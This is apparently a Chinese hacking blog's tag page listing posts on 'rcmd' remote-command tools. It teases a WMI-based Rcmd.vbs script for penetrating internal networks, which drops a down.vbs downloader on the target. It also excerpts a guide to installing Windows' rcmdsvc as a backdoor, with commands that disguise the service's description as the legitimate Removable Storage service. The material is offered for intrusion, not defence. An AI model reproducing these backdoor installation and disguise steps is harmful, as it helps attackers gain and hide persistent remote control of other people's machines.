标签 ‘rcmd’ 下的日志

Rcmd.vbs 1.01修正版

作者:lcx

原来是NP写的,代码在这里

我修正了几个小bug。加了一个在对方机器上直接生成一个down.vbs,用来下载用。这个down.vbs的用法看这里
阅读全文 »

Tags: , , ,

Rcmd.vbs [Remote Cmd with wmi]

作者:NP

一个vbs脚本,渗透内网用的。
PS:此脚本支持回显!
阅读全文 »

Tags: , , ,

windows自带的rcmd后门使用方法整理

文章作者:pt007[at]vip.sina.com版权所有,转载请注明
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

1、rcmdsvc /install //安装后的服务名为:Remote Command Service (rcmdsvc),建议上传至windows目录
怎么用命令行改服务名和描述:
sc \\127.0.0.1 query rcmdsvc //查询整个服务
sc \\127.0.0.1 qdescription rcmdsvc //查询服务的描述
sc \\127.0.0.1 description rcmdsvc "管理和编录可移动媒
体并操作自动化可移动媒体设备。如果这个服务被停止,依赖可移动存储的程序,如备份和
远程存储将放慢速度。如果禁用这个服务,所有专依赖这个服务的服务将无法启动。" //修改服务的描述
阅读全文 »

Tags: